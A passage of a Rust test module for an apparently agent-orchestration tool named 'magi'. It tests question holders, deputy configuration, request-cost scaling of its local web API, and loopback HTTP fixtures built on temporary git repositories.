7956            "conduct".to_owned(),
7957            "which?".to_owned(),
7958            String::new(),
7959            Vec::new(),
7960        );
7961        assert_eq!(holder_of(&c, None), Some("nobody"));
7962        c.cwd = Some("/tmp".to_owned());
7963        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7964        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7965        let deputy = beat(ask::WaiterKind::Deputy, 1);
7966        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7967        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7968
7969        // A release-watch question: nobody until a deputy is attached.
7970        let mut r = Question::new(
7971            String::new(),
7972            crate::bump::NOTICE_NODE.to_owned(),
7973            "release-watch".to_owned(),
7974            "stuck?".to_owned(),
7975            String::new(),
7976            vec!["hold".to_owned()],
7977        );
7978        assert_eq!(holder_of(&r, None), Some("nobody"));
7979        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7980        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7981        // A choice-less bump notice is nobody's question at all.
7982        r.deputy = None;
7983        r.seat = "bump".to_owned();
7984        assert_eq!(holder_of(&r, None), None);
7985
7986        // A merge approval is the same: nobody until a deputy is attached
7987        // and alive, never a silent "no holder".
7988        let mut m = Question::new(
7989            "run".to_owned(),
7990            crate::land::APPROVAL_NODE.to_owned(),
7991            "land".to_owned(),
7992            "merge?".to_owned(),
7993            String::new(),
7994            Vec::new(),
7995        );
7996        assert_eq!(holder_of(&m, None), Some("nobody"));
7997        assert_eq!(
7998            holder_of(&m, Some(&fresh)),
7999            Some("nobody"),
8000            "a lease with no deputy is not a listener"
8001        );
8002        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
8003        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
8004        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
8005        assert_eq!(holder_of(&m, None), Some("nobody"));
8006    }
8007
8008    fn stub_config() -> Config {
8009        // An explicit roster, so the result never depends on which agent CLIs
8010        // this machine has installed.
8011        Config {
8012            agents: vec![crate::config::AgentSpec {
8013                id: "stub".to_owned(),
8014                kind: AgentKind::Command,
8015                model: None,
8016                command: vec!["true".to_owned()],
8017                extra_args: Vec::new(),
8018                env: Default::default(),
8019                prompt_delivery: None,
8020            }],
8021            ..Config::default()
8022        }
8023    }
8024
8025    fn plain_question(seat: &str) -> Question {
8026        Question::new(
8027            String::new(),
8028            "n".to_owned(),
8029            seat.to_owned(),
8030            "s".to_owned(),
8031            String::new(),
8032            Vec::new(),
8033        )
8034    }
8035
8036    #[test]
8037    fn deputies_enabled_follows_the_config() {
8038        let on = stub_config();
8039        assert!(crate::deputy::can_start(Some(&on), ""));
8040        assert!(crate::deputy::can_start(Some(&on), "stub"));
8041        let mut off = on.clone();
8042        off.daemon.max_deputies = 0;
8043        assert!(!crate::deputy::can_start(Some(&off), ""));
8044        let mut empty = on;
8045        empty.agents.clear();
8046        assert!(!crate::deputy::can_start(Some(&empty), ""));
8047        assert!(!crate::deputy::can_start(None, ""));
8048    }
8049
8050    #[test]
8051    fn question_views_load_the_config_once() {
8052        let dir = TempDir::new().unwrap();
8053        let store = ask::Questions::at(dir.path().to_path_buf());
8054        let mut with_deputy = plain_question("b");
8055        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
8056        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
8057
8058        let calls = std::cell::Cell::new(0usize);
8059        let views = question_views(qs.clone(), &store, || {
8060            calls.set(calls.get() + 1);
8061            Some(stub_config())
8062        });
8063        assert_eq!(calls.get(), 1);
8064        assert_eq!(views.len(), 3);
8065        for (v, q) in views.iter().zip(&qs) {
8066            assert_eq!(
8067                v.deputies_enabled,
8068                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
8069            );
8070        }
8071
8072        let views = question_views(qs, &store, || None);
8073        assert!(views.iter().all(|v| !v.deputies_enabled));
8074
8075        let calls = std::cell::Cell::new(0usize);
8076        let views = question_views(Vec::new(), &store, || {
8077            calls.set(calls.get() + 1);
8078            None
8079        });
8080        assert!(views.is_empty());
8081        assert_eq!(calls.get(), 0);
8082    }
8083
8084    use pretty_assertions::assert_eq;
8085    use serde_json::Value;
8086    use tempfile::TempDir;
8087    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
8088
8089    use super::*;
8090    use crate::config::Config;
8091    use crate::queue::Source;
8092
8093    /// How many 10ms steps a settle loop takes before it calls a stall a
8094    /// stall - thirty seconds.
8095    ///
8096    /// These loops wait on real `sh` subprocesses, and the machine that runs
8097    /// the gate runs several suites at once, so a two-second budget was not
8098    /// waiting for the reply, it was racing the scheduler: two of these
8099    /// tests failed under that load with the turn simply not landed yet.
8100    /// This is a hang guard, not a latency assertion - every loop breaks the
8101    /// moment its condition holds, so a generous cap costs an idle machine
8102    /// nothing and still fails a genuine hang instead of hanging the suite.
8103    const SETTLE_STEPS: usize = 3_000;
8104
8105    /// A home with a queue and a runs directory, and a router serving it on
8106    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
8107    /// dependency, not ours - so the tests drive a real socket, which has the
8108    /// side benefit of asserting the status line and content types the phone
8109    /// actually receives.
8110    struct Fixture {
8111        home: TempDir,
8112        addr: SocketAddr,
8113    }
8114
8115    impl Fixture {
8116        async fn start() -> Self {
8117            Self::with_loop(launch_idle).await
8118        }
8119
8120        /// A fixture whose loop is `launch`.
8121        async fn with_loop(launch: Launch) -> Self {
8122            let home = TempDir::new().expect("temp home");
8123            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
8124            Self { home, addr }
8125        }
8126
8127        /// A fixture whose `ui.repo` is a real directory rather than the
8128        /// usual placeholder - for the routes that read config off it
8129        /// (`GET /api/repos`) and would otherwise have nothing to discover.
8130        async fn with_repo(repo: PathBuf) -> Self {
8131            let home = TempDir::new().expect("temp home");
8132            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
8133            Self { home, addr }
8134        }
8135
8136        /// As [`Fixture::with_repo`], with the machine-config file the
8137        /// settings screen reads and writes.
8138        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
8139            let home = TempDir::new().expect("temp home");
8140            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
8141            Self { home, addr }
8142        }
8143
8144        async fn serve(
8145            home: &FsPath,
8146            repo: PathBuf,
8147            launch: Launch,
8148            machine: Option<PathBuf>,
8149        ) -> SocketAddr {
8150            let queue = Queue::at(home.join("queue"));
8151            let runs = home.join("runs");
8152            std::fs::create_dir_all(&runs).expect("runs dir");
8153            let worktrees = home.join("wt").join("magi");
8154            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
8155            let ui = Ui::new(
8156                queue,
8157                Questions::at(home.join("questions")),
8158                Talks::at(home.join("talks")),
8159                runs,
8160                home.to_path_buf(),
8161                repo,
8162            )
8163            .with_worktrees_root(worktrees)
8164            .with_machine_config(machine)
8165            .with_launch(launch);
8166            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
8167                .await
8168                .expect("bind loopback");
8169            let addr = listener.local_addr().expect("local addr");
8170            tokio::spawn(async move {
8171                let router = ui
8172                    .router()
8173                    .layer(axum::middleware::from_fn(request_cost::observe));
8174                let _ = axum::serve(listener, router).await;
8175            });
8176            addr
8177        }
8178
8179        fn queue(&self) -> Queue {
8180            Queue::at(self.home.path().join("queue"))
8181        }
8182
8183        fn questions(&self) -> Questions {
8184            Questions::at(self.home.path().join("questions"))
8185        }
8186
8187        fn talks(&self) -> Talks {
8188            Talks::at(self.home.path().join("talks"))
8189        }
8190
8191        fn runs(&self) -> PathBuf {
8192            self.home.path().join("runs")
8193        }
8194
8195        async fn get(&self, path: &str) -> Res {
8196            request(self.addr, "GET", path, None).await
8197        }
8198
8199        /// The status and headers without the body, which is how the front end
8200        /// preflights a panel: a sandboxed frame is opaque to the parent
8201        /// document, so the only way to tell "no panel" from "a panel that
8202        /// rendered blank" is to ask before mounting.
8203        async fn head(&self, path: &str) -> Res {
8204            request(self.addr, "HEAD", path, None).await
8205        }
8206
8207        async fn post(&self, path: &str, body: Option<&str>) -> Res {
8208            request(self.addr, "POST", path, body).await
8209        }
8210
8211        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
8212            request_with(self.addr, "GET", path, None, extra).await
8213        }
8214
8215        async fn delete(&self, path: &str) -> Res {
8216            request(self.addr, "DELETE", path, None).await
8217        }
8218
8219        async fn put(&self, path: &str, body: &str) -> Res {
8220            request(self.addr, "PUT", path, Some(body)).await
8221        }
8222
8223        /// `POST` a raw body with its own headers - see [`request_bytes`].
8224        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
8225            request_bytes(self.addr, path, headers, body).await
8226        }
8227    }
8228
8229    /// Real tracking refs exercise the successful discovery path (including
8230    /// extraction), rather than counting cheap failures on a placeholder repo.
8231    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
8232        let tmp = TempDir::new().unwrap();
8233        let mut repos = Vec::new();
8234        for name in ["one", "two"] {
8235            let repo = tmp.path().join(name);
8236            let origin = tmp.path().join(format!("{name}.git"));
8237            std::fs::create_dir_all(&repo).unwrap();
8238            crate::git::git(&repo, &["init", "-b", "main"])
8239                .await
8240                .unwrap();
8241            std::fs::write(
8242                repo.join("magi.toml"),
8243                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
8244            )
8245            .unwrap();
8246            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
8247            crate::git::git(
8248                &repo,
8249                &[
8250                    "-c",
8251                    "user.name=fixture",
8252                    "-c",
8253                    "user.email=fixture@example.invalid",
8254                    "commit",
8255                    "-m",
8256                    "fixture",
8257                ],
8258            )
8259            .await
8260            .unwrap();
8261            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
8262                .await
8263                .unwrap();
8264            crate::git::git(
8265                &repo,
8266                &["remote", "add", "origin", origin.to_str().unwrap()],
8267            )
8268            .await
8269            .unwrap();
8270            crate::git::git(&repo, &["push", "origin", "main"])
8271                .await
8272                .unwrap();
8273            crate::git::git(
8274                &repo,
8275                &[
8276                    "symbolic-ref",
8277                    "refs/remotes/origin/HEAD",
8278                    "refs/remotes/origin/main",
8279                ],
8280            )
8281            .await
8282            .unwrap();
8283            let (cfg, _) = Config::discover(&repo, None).unwrap();
8284            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
8285            repos.push(repo);
8286        }
8287        let repos: [PathBuf; 2] = repos.try_into().unwrap();
8288        (tmp, repos)
8289    }
8290
8291    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
8292        let (tmp, repos) = performance_repositories().await;
8293        let machine = tmp.path().join("machine.toml");
8294        std::fs::write(&machine, "").unwrap();
8295        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
8296        (tmp, repos, fx)
8297    }
8298
8299    fn seed_performance(
8300        fx: &Fixture,
8301        repos: &[PathBuf; 2],
8302        questions: usize,
8303        runs: usize,
8304        items: usize,
8305    ) {
8306        // Saving states directly never starts a run or changes MAGI_HOME.
8307        for i in fx.questions().list().len()..questions {
8308            let mut question = Question::new(
8309                "20261001-000000-0000".into(),
8310                "implement".into(),
8311                "impl-A".into(),
8312                format!("question {i}"),
8313                "context".into(),
8314                vec!["yes".into(), "no".into()],
8315            );
8316            question.id = format!("20261003-000000-{i:04x}");
8317            fx.questions().put(&mut question).unwrap();
8318        }
8319        for i in run_ids(&fx.runs()).len()..runs {
8320            write_run_repo(
8321                &fx.runs(),
8322                &format!("20261001-000000-{i:04x}"),
8323                RunStatus::Ready,
8324                repos[i % 2].to_str().unwrap(),
8325            );
8326        }
8327        for i in fx.talks().list().len()..items {
8328            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
8329            let mut talk = fx.talks().get(&id).unwrap();
8330            talk.repo = repos[i % 2].clone();
8331            fx.talks().put(&mut talk).unwrap();
8332            let mut task = crate::queue::Task::new(
8333                format!("task {i}"),
8334                "instruction".into(),
8335                repos[i % 2].clone(),
8336                crate::queue::Source::Agent {
8337                    run: id,
8338                    node: crate::queue::CHAT_NODE.into(),
8339                },
8340            );
8341            task.id = format!("20261004-000000-{i:04x}");
8342            fx.queue().put(&mut task).unwrap();
8343            // Notices has a production retention cap; seed up to that cap.
8344            if i < crate::notices::CAP {
8345                Notices::at(fx.home.path().join("notifications"))
8346                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
8347                    .unwrap();
8348            }
8349        }
8350        assert_eq!(fx.questions().list().len(), questions);
8351        assert_eq!(run_ids(&fx.runs()).len(), runs);
8352        assert_eq!(fx.talks().list().len(), items);
8353        assert_eq!(fx.queue().list().len(), items);
8354        assert_eq!(
8355            Notices::at(fx.home.path().join("notifications"))
8356                .list()
8357                .len(),
8358            items.min(crate::notices::CAP)
8359        );
8360    }
8361
8362    fn request_counts(res: &Res) -> (usize, usize) {
8363        assert_eq!(res.status, 200, "{}", res.body);
8364        (
8365            res.header("x-test-discoveries").unwrap().parse().unwrap(),
8366            res.header("x-test-git").unwrap().parse().unwrap(),
8367        )
8368    }
8369
8370    #[tokio::test]
8371    async fn list_request_cost_is_independent_of_record_count() {
8372        let (_tmp, repos, fx) = performance_fixture().await;
8373        let mut previous = None;
8374        for n in [4, 60] {
8375            seed_performance(&fx, &repos, n, n, n);
8376            let mut costs = Vec::new();
8377            for (path, discoveries) in [
8378                ("/api/questions", 1),
8379                ("/api/talks", 2),
8380                ("/api/health", 1),
8381                ("/api/stats", 1),
8382            ] {
8383                // Equal cold extraction caches at both scales; this also
8384                // bounds first-request cost instead of only warmed requests.
8385                for repo in &repos {
8386                    let cache = repo.join(".git/magi/config");
8387                    if cache.exists() {
8388                        std::fs::remove_dir_all(cache).unwrap();
8389                    }
8390                }
8391                let cost = request_counts(&fx.get(path).await);
8392                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
8393                assert_eq!(cost.0, discoveries, "{path}, N={n}");
8394                assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
8395                costs.push(cost);
8396            }
8397            if let Some(previous) = previous {
8398                assert_eq!(costs, previous);
8399            }
8400            previous = Some(costs);
8401        }
8402        // runs reads shared row inputs and probes process liveness; queue
8403        // builds one blocker inventory; notifications reads its own store.
8404        // None discovers configuration or spawns git per item.
8405    }
8406
8407    /// The same handler path without transport, so the deterministic cause
8408    /// can also be checked in environments that prohibit binding sockets.
8409    #[tokio::test]
8410    async fn list_handler_cost_without_transport() {
8411        let (_tmp, repos) = performance_repositories().await;
8412        let fx = Fixture {
8413            home: TempDir::new().unwrap(),
8414            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
8415        };
8416        let ui = Arc::new(
8417            Ui::new(
8418                fx.queue(),
8419                fx.questions(),
8420                fx.talks(),
8421                fx.runs(),
8422                fx.home.path().to_path_buf(),
8423                repos[0].clone(),
8424            )
8425            .with_worktrees_root(fx.home.path().join("wt")),
8426        );
8427        let mut previous = None;
8428        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
8429            seed_performance(&fx, &repos, n, runs, items);
8430            let mut costs = Vec::new();
8431            for endpoint in ["questions", "talks", "health", "stats"] {
8432                for repo in &repos {
8433                    let cache = repo.join(".git/magi/config");
8434                    if cache.exists() {
8435                        std::fs::remove_dir_all(cache).unwrap();
8436                    }
8437                }
8438                let (_, cost) = request_cost::measure(async {
8439                    match endpoint {
8440                        "questions" => {
8441                            let _ = questions_list(State(ui.clone())).await.unwrap();
8442                        }
8443                        "talks" => {
8444                            let _ = talks_list(
8445                                State(ui.clone()),
8446                                Query(ListQuery {
8447                                    limit: None,
8448                                    ids: None,
8449                                }),
8450                            )
8451                            .await
8452                            .unwrap();
8453                        }
8454                        "health" => {
8455                            let _ = health(State(ui.clone())).await.unwrap();
8456                        }
8457                        _ => {
8458                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
8459                                .await
8460                                .unwrap();
8461                        }
8462                    }
8463                })
8464                .await;
8465                eprintln!("{endpoint} handler N={n}: {cost:?}");
8466                assert_eq!(
8467                    cost.0,
8468                    if endpoint == "talks" { 2 } else { 1 },
8469                    "{endpoint}"
8470                );
8471                assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
8472                costs.push(cost);
8473            }
8474            if let Some(previous) = previous {
8475                assert_eq!(costs, previous);
8476            }
8477            previous = Some(costs);
8478        }
8479    }
8480
8481    #[tokio::test]
8482    async fn list_request_cost_scopes_do_not_mix() {
8483        let (_tmp, repos, fx) = performance_fixture().await;
8484        seed_performance(&fx, &repos, 10, 0, 10);
8485        let (questions, talks, notices) = tokio::join!(
8486            fx.get("/api/questions"),
8487            fx.get("/api/talks"),
8488            fx.get("/api/notifications")
8489        );
8490        assert_eq!(request_counts(&questions).0, 1);
8491        assert_eq!(request_counts(&talks).0, 2);
8492        assert_eq!(request_counts(&notices), (0, 0));
8493    }
8494
8495    #[tokio::test]
8496    async fn list_endpoints_large_home_ceiling() {
8497        let (_tmp, repos, fx) = performance_fixture().await;
8498        seed_performance(&fx, &repos, 200, 300, 400);
8499        let mut failures = Vec::new();
8500        // app.js boot/change loads plus the initial dashboard, settings and
8501        // repo picker. SSE is a persistent stream, not a bounded GET.
8502        for path in [
8503            "/",
8504            "/app.js",
8505            "/app.css",
8506            "/api/questions",
8507            "/api/runs?limit=300",
8508            "/api/queue",
8509            "/api/talks",
8510            "/api/notifications",
8511            "/api/health",
8512            "/api/stats",
8513            "/api/loop",
8514            "/api/settings",
8515            "/api/repos",
8516        ] {
8517            let start = std::time::Instant::now();
8518            let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
8519            let elapsed = start.elapsed();
8520            eprintln!("{path}: {elapsed:?}");
8521            match result {
8522                Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
8523                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
8524                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
8525            }
8526        }
8527        assert!(failures.is_empty(), "{}", failures.join("\n"));
8528    }
8529
8530    struct Res {
8531        status: u16,
8532        headers: String,
8533        /// The header block with its original casing, for the assertions that
8534        /// compare a header *value* rather than looking for a name. Lowercasing
8535        /// a CSP would hide a directive spelled with a capital letter, and the
8536        /// whole point of that test is that the string is exactly right.
8537        head: String,
8538        body: String,
8539        /// The body before any UTF-8 handling, for the routes that serve
8540        /// something other than text. A panel asset is a PNG as often as not,
8541        /// and `from_utf8_lossy` would silently replace half of it.
8542        bytes: Vec<u8>,
8543    }
8544
8545    impl Res {
8546        fn json(&self) -> Value {
8547            serde_json::from_str(&self.body)
8548                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
8549        }
8550
8551        /// One header's value verbatim, or `None` when it was not sent.
8552        fn header(&self, name: &str) -> Option<&str> {
8553            self.head.lines().find_map(|line| {
8554                let (key, value) = line.split_once(':')?;
8555                key.trim()
8556                    .eq_ignore_ascii_case(name)
8557                    .then(|| value.trim_start().trim_end_matches('\r'))
8558            })
8559        }
8560    }
8561
8562    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
8563    /// be read to end-of-stream without parsing framing.
8564    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
8565        request_with(addr, method, path, body, &[]).await
8566    }
8567
8568    /// As [`request`], with extra request headers - conditional GETs need
8569    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
8570    /// worse than one that sets none.
8571    async fn request_with(
8572        addr: SocketAddr,
8573        method: &str,
8574        path: &str,
8575        body: Option<&str>,
8576        extra: &[(&str, &str)],
8577    ) -> Res {
8578        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
8579        for (name, value) in extra {
8580            head.push_str(&format!("{name}: {value}\r\n"));
8581        }
8582        if let Some(body) = body {
8583            head.push_str("Content-Type: application/json\r\n");
8584            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
8585        }
8586        head.push_str("\r\n");
8587        if let Some(body) = body {
8588            head.push_str(body);
8589        }
8590        let mut socket = tokio::net::TcpStream::connect(addr)
8591            .await
8592            .expect("connect to the test server");
8593        socket
8594            .write_all(head.as_bytes())
8595            .await
8596            .expect("write request");
8597        let mut raw = Vec::new();
8598        socket.read_to_end(&mut raw).await.expect("read response");
8599        // Split on the raw bytes rather than on a lossy string, so a binary
8600        // body survives to be compared byte for byte.
8601        let split = raw
8602            .windows(4)
8603            .position(|w| w == b"\r\n\r\n")
8604            .expect("a header block");
8605        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
8606        let bytes = raw[split + 4..].to_vec();
8607        let status = head
8608            .lines()
8609            .next()
8610            .and_then(|line| line.split_whitespace().nth(1))
8611            .and_then(|code| code.parse().ok())
8612            .expect("a status line");
8613        Res {
8614            status,
8615            headers: head.to_lowercase(),
8616            head,
8617            body: String::from_utf8_lossy(&bytes).into_owned(),
8618            bytes,
8619        }
8620    }
8621
8622    /// A `POST` carrying a raw binary body and its own headers, for the
8623    /// attachment upload route - `request_with` only ever sends
8624    /// `Content-Type: application/json`, which is wrong for an image and
8625    /// would corrupt anything not valid UTF-8 by round-tripping it through
8626    /// `&str` first.
8627    async fn request_bytes(
8628        addr: SocketAddr,
8629        path: &str,
8630        headers: &[(&str, &str)],
8631        body: &[u8],
8632    ) -> Res {
8633        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
8634        for (name, value) in headers {
8635            head.push_str(&format!("{name}: {value}\r\n"));
8636        }
8637        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
8638        let mut socket = tokio::net::TcpStream::connect(addr)
8639            .await
8640            .expect("connect to the test server");
8641        socket
8642            .write_all(head.as_bytes())
8643            .await
8644            .expect("write request head");
8645        socket.write_all(body).await.expect("write request body");
8646        let mut raw = Vec::new();
8647        socket.read_to_end(&mut raw).await.expect("read response");
8648        let split = raw
8649            .windows(4)
8650            .position(|w| w == b"\r\n\r\n")
8651            .expect("a header block");
8652        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
8653        let bytes = raw[split + 4..].to_vec();
8654        let status = head
8655            .lines()
8656            .next()
8657            .and_then(|line| line.split_whitespace().nth(1))
8658            .and_then(|code| code.parse().ok())
8659            .expect("a status line");
8660        Res {
8661            status,
8662            headers: head.to_lowercase(),
8663            head,
8664            body: String::from_utf8_lossy(&bytes).into_owned(),
8665            bytes,
8666        }
8667    }
8668
8669    /// A run on disk, without touching the process-global magi home.
8670    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
8671        let mut state = RunState::new(
8672            PathBuf::from("/repo/magi"),
8673            "main".to_owned(),
8674            "0123456789abcdef".to_owned(),
8675            "Add a web UI\n\nMobile first.".to_owned(),
8676            Config::default(),
8677        );
8678        state.id = id.to_owned();
8679        state.status = status;
8680        let dir = runs.join(id);
8681        std::fs::create_dir_all(&dir).expect("run dir");
8682        std::fs::write(
8683            dir.join("run.json"),
8684            serde_json::to_string_pretty(&state).expect("serialize run"),
8685        )
8686        .expect("write run.json");
8687    }
8688
8689    /// Same as [`write_run`], but against a named repository rather than the
8690    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
8691    /// spread across more than one.
8692    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
8693        let mut state = RunState::new(
8694            PathBuf::from(repo),
8695            "main".to_owned(),
8696            "0123456789abcdef".to_owned(),
8697            "task".to_owned(),
8698            Config::default(),
8699        );
8700        state.id = id.to_owned();
8701        state.status = status;
8702        let dir = runs.join(id);
8703        std::fs::create_dir_all(&dir).expect("run dir");
8704        std::fs::write(
8705            dir.join("run.json"),
8706            serde_json::to_string_pretty(&state).expect("serialize run"),
8707        )
8708        .expect("write run.json");
8709    }
8710
8711    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
8712        let body = serde_json::json!({
8713            "schema": 1,
8714            "pid": 4242,
8715            "started_at": Timestamp::now().to_string(),
8716            "updated_at": updated_at.to_string(),
8717            "idle": false,
8718            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
8719            "completed": 7,
8720            "polls": 143,
8721        });
8722        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
8723    }
8724
8725    /// A loop that starts, finds nothing to do, and waits to be told to stop.
8726    ///
8727    /// No test in this file may start the real loop - see [`Ui::launch`] for
8728    /// why - so this stands in for the only thing the routes need a loop to
8729    /// do: keep running until `Stop` is set, then return. A real
8730    /// `serve_until` here would resolve its queue and its status file through
8731    /// the process-global magi home, claim whatever it found in the
8732    /// operator's live backlog, overwrite the status file of the `magi serve`
8733    /// that owns it, and spend real agent quota on a real competition.
8734    fn launch_idle(
8735        _opts: daemon::Opts,
8736        stop: daemon::Stop,
8737    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8738        Box::pin(async move {
8739            while !stop.stopped() {
8740                tokio::time::sleep(Duration::from_millis(2)).await;
8741            }
8742            Ok(())
8743        })
8744    }
8745
8746    /// A loop that fails on the way up, the way one whose home has gone
8747    /// read-only does.
8748    fn launch_broken(
8749        _opts: daemon::Opts,
8750        _stop: daemon::Stop,
8751    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8752        // The stand-in dies instantly, so a restarted one can record its own
8753        // failure before the start's response is read. The second attempt
8754        // therefore fails with a different message, to tell a stale error
8755        // from a fresh one.
8756        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
8757        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
8758        Box::pin(async move {
8759            Err(anyhow::anyhow!(if first {
8760                "publish the daemon status file: read-only file system"
8761            } else {
8762                "the restarted stand-in failed as well"
8763            }))
8764        })
8765    }
8766
8767    /// The address the parking loop knocks on, and what it heard there.
8768    ///
8769    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
8770    /// capture a fixture's address; this is how it is handed one. Only
8771    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
8772    /// these, so nothing else in this binary can race them.
8773    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
8774    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
8775
8776    /// A loop that, once it is asked to stop, checks the deck still answers
8777    /// before it goes.
8778    ///
8779    /// It stands in for a run mid-node: `finish_loop` waits for this future,
8780    /// so the request it makes is strictly inside the park window - no sleep
8781    /// and no polling needed to be sure of that.
8782    fn launch_knocking_on_the_way_out(
8783        _opts: daemon::Opts,
8784        stop: daemon::Stop,
8785    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8786        Box::pin(async move {
8787            while !stop.stopped() {
8788                tokio::time::sleep(Duration::from_millis(2)).await;
8789            }
8790            let addr = PARK_KNOCK
8791                .lock()
8792                .expect("park knock")
8793                .expect("the test set an address");
8794            let heard = request(addr, "GET", "/api/health", None).await.status;
8795            *PARK_HEARD.lock().expect("park heard") = Some(heard);
8796            Ok(())
8797        })
8798    }
8799
8800    /// The loop view once `want` accepts it.
8801    ///
8802    /// Polled rather than asserted straight after the POST because stopping
8803    /// is deliberately not instant - that is the contract - and rather than
8804    /// slept through because a fixed wait is either flaky or slow.
8805    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
8806    /// finite, so a genuine hang fails the test instead of hanging the
8807    /// suite.
8808    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
8809        for _ in 0..SETTLE_STEPS {
8810            let view = fx.get("/api/loop").await.json();
8811            if want(&view) {
8812                return view;
8813            }
8814            tokio::time::sleep(Duration::from_millis(10)).await;
8815        }
8816        panic!(
8817            "the loop never settled: {}",
8818            fx.get("/api/loop").await.json()
8819        );
8820    }
8821
8822    /// File an open question directly in the store the server reads.
8823    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
8824        let store = fx.questions();
8825        let mut q = Question::new(
8826            "20260902-000000-beef".to_owned(),
8827            "implement".to_owned(),
8828            "impl-A".to_owned(),
8829            summary.to_owned(),
8830            "because it matters".to_owned(),
8831            choices.iter().map(|c| (*c).to_owned()).collect(),
8832        );
8833        store.put(&mut q).expect("put question");
8834        q.id
8835    }
8836
8837    /// A question with a panel the server can serve, plus the named assets.
8838    ///
8839    /// Written through `Questions::put_panel` rather than by laying out the
8840    /// directory here, so these tests exercise the same on-disk shape the
8841    /// agents produce and cannot pass against a layout only the tests know.
8842    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
8843        let store = fx.questions();
8844        let mut q = Question::new(
8845            "20260902-000000-beef".to_owned(),
8846            "land".to_owned(),
8847            "fix".to_owned(),
8848            "Merge this?".to_owned(),
8849            "the diff is in the panel".to_owned(),
8850            vec!["merge".to_owned(), "hold".to_owned()],
8851        );
8852        // Staged outside the questions root, because `put_panel` copies from
8853        // wherever the agent left its files.
8854        let staging = fx.home.path().join("staging");
8855        std::fs::create_dir_all(&staging).expect("staging dir");
8856        let sources: Vec<PathBuf> = assets
8857            .iter()
8858            .map(|(name, bytes)| {
8859                let path = staging.join(name);
8860                std::fs::write(&path, bytes).expect("write staged asset");
8861                path
8862            })
8863            .collect();
8864        store
8865            .put_panel(&mut q, html, &sources)
8866            .expect("write the panel");
8867        store.put(&mut q).expect("put question");
8868        q.id
8869    }
8870
8871    /// A talk on disk, without talking to a model.
8872    ///
8873    /// Written as JSON straight into the store the server reads, because the
8874    /// only constructor `talk::begin` offers takes no turn but still requires
